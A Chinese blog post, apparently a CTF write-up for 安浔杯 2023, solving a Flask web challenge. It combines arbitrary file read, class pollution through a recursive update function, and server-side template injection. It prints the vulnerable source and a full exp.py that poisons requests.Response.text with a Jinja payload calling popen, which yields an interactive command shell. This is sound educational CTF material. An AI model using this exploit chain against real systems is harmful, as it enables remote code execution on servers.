安浔杯 2023
本文最后更新于 125 天前,其中的信息可能已经有所发展或是发生改变。

协会最终排名Rank 5

没打,就中途看了俩题,一个python的ssti 原型链污染,再就一个垃圾misc

Web

swagger doc

  • 给了api文档,一个任意文件读
POST /api-base/v0/search?file=/app/app.py&type=text HTTP/1.1
Host: ip:port
Connection: close
Content-Type: application/json
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiIxIn0.78iq2inutDsG4QG9-AM7jkydZyaLgRwJ2AIo2oBiGFQ
Content-Length: 2

{}
  • 源代码
#coding=gbk
import json
from flask import Flask, request,  jsonify,send_file,render_template_string
import jwt
import requests
from functools import wraps
from datetime import datetime
import os

app = Flask(__name__)
app.config['TEMPLATES_RELOAD']=True

app.config['SECRET_KEY'] = 'fake_flag'
current_time = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
response0 = {
    'code': 0,
    'message': 'failed',
    'result': None
}
response1={
    'code': 1,
    'message': 'success',
    'result': current_time
}

response2 = {
    'code': 2,
    'message': 'Invalid request parameters',
    'result': None
}


def auth(func):
    @wraps(func)
    def decorated(*args, **kwargs):
        token = request.cookies.get('token')
        if not token:
            return 'Invalid token', 401
        try:
            payload = jwt.decode(token, app.config['SECRET_KEY'], algorithms=['HS256'])
            if payload['username'] == User.username and payload['password'] == User.password:
                return func(*args, **kwargs)
            else:
                return 'Invalid token', 401
        except:
            return 'Something error?', 500

    return decorated

@app.route('/',methods=['GET'])
def index():
    return send_file('api-docs.json', mimetype='application/json;charset=utf-8')

@app.route('/api-base/v0/register', methods=['GET', 'POST'])
def register():
    if request.method == 'POST':
        username = request.json['username']
        password = request.json['password']
        User.setUser(username,password)
        token = jwt.encode({'username': username, 'password': password}, app.config['SECRET_KEY'], algorithm='HS256')
        User.setToken(token)
        return jsonify(response1)

    return jsonify(response2),400


@app.route('/api-base/v0/login', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        username = request.json['username']
        password = request.json['password']
        try:
            token = User.token
            payload = jwt.decode(token, app.config['SECRET_KEY'], algorithms=['HS256'])
            if payload['username'] == username and payload['password'] == password:
                response = jsonify(response1)
                response.set_cookie('token', token)
                return response
            else:
                return jsonify(response0), 401
        except jwt.ExpiredSignatureError:
            return 'Invalid token', 401
        except jwt.InvalidTokenError:
            return 'Invalid token', 401

    return jsonify(response2), 400

@app.route('/api-base/v0/update', methods=['POST', 'GET'])
@auth
def update_password():
    try:
        if request.method == 'POST':
            try:
                new_password = request.get_json()
                if new_password:

                    update(new_password, User)

                    updated_token = jwt.encode({'username': User.username, 'password': User.password},
                                               app.config['SECRET_KEY'], algorithm='HS256')
                    User.token = updated_token
                    response = jsonify(response1)
                    response.set_cookie('token',updated_token)
                    return response
                else:
                    return jsonify(response0), 401
            except:
                return "Something error?",505
        else:
            return jsonify(response2), 400

    except jwt.ExpiredSignatureError:
        return 'Invalid token', 401
    except jwt.InvalidTokenError:
        return 'Invalid token', 401

def update(src, dst):
    if hasattr(dst, '__getitem__'):
        for key in src:
            if isinstance(src[key], dict):
                 if key in dst and isinstance(src[key], dict):
                    update(src[key], dst[key])
                 else:
                     dst[key] = src[key]
            else:
                dst[key] = src[key]
    else:
        for key, value in src.items() :
            if hasattr(dst,key) and isinstance(value, dict):
                update(value,getattr(dst, key))
            else:
                setattr(dst, key, value)


@app.route('/api-base/v0/logout')
def logout():
    response = jsonify({'message': 'Logout successful!'})
    response.delete_cookie('token')
    return response


@app.route('/api-base/v0/search', methods=['POST','GET'])
@auth
def api():
    if request.args.get('file'):
        try:
            if request.args.get('id'):
                id = request.args.get('id')
            else:
                id = ''
            data = requests.get("http://127.0.0.1:8899/v2/users?file=" + request.args.get('file') + '&id=' + id)
            if data.status_code != 200:
                return data.status_code

            if request.args.get('type') == "text":

                return render_template_string(data.text)
            else:
                return jsonify(json.loads(data.text))
        except jwt.ExpiredSignatureError:
            return 'Invalid token', 401
        except jwt.InvalidTokenError:
            return 'Invalid token', 401
        except Exception:
            return 'something error?'
    else:
        return jsonify(response2)

class MemUser:
    def setUser(self, username, password):
        self.username = username
        self.password = password

    def setToken(self, token):
        self.token = token

    def __init__(self):
        self.username="admin"
        self.password="password"
        self.token=jwt.encode({'username': self.username, 'password': self.password}, app.config['SECRET_KEY'], algorithm='HS256')

if __name__ == '__main__':
    User = MemUser()
    app.run(host='0.0.0.0')
  • 还有个内网的另一个服务api.py
#coding=gbk
import json
from flask import Flask, request, jsonify

app = Flask(__name__)

@app.route('/v2/users', methods=['GET'])
def get_user_info():
    file_path = request.args.get('file')
    id = request.args.get('id')
    if file_path:
        try:
            with open(file_path, 'r') as file:
                file_content = file.read()
                if id:
                    data = json.loads(file_content)
                    for user in data['users']:
                        if user['id'] == int(id):
                            if user:
                                return user
                    else:
                        return 'not found', 404
            return file_content
        except FileNotFoundError:
            return 'error',500

if __name__ == '__main__':
    app.run(port=8899)
  • 很明显,有个原型链污染,然后在/api-base/v0/search有个ssti的点,但是渲染的内容是Response.text;这里可以通过Response类的text属性来ssti(没看过reqeusts的源代码,这块text属性居然不会被一次请求给覆盖就很nb)
  • exp.py
from requests import Session
from json import dumps


sess = Session()
headers = {
    "Content-Type": "application/json"
}
data = {
    "username": "user",
    "password": "user"
}
sess.post("http://ip:port/api-base/v0/register", data=dumps(data), headers=headers)
sess.post("http://ip:port/api-base/v0/login", data=dumps(data), headers=headers)
while True:
    data = {
        "username": "user",
        "password": "user",
        "__init__": {
            "__globals__": {
                "requests": {
                    "Response": {
                        "text": "{{().__class__.__base__.__subclasses__()[154].__init__.__globals__['popen']('" + input("$ ") + "').read()}}"
                    }
                }
            }
        }
    }
    sess.post("http://ip:port/api-base/v0/update", data=dumps(data), headers=headers)
    data = {}
    resp = sess.post("http://ip:port/api-base/v0/search?file=/app/app.py&type=text", data=dumps(data), headers=headers)
    print(resp.text)
  • 这题没啥难度,确定污染的地方就ok了,还是第一次污染Response,卡了一会儿
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇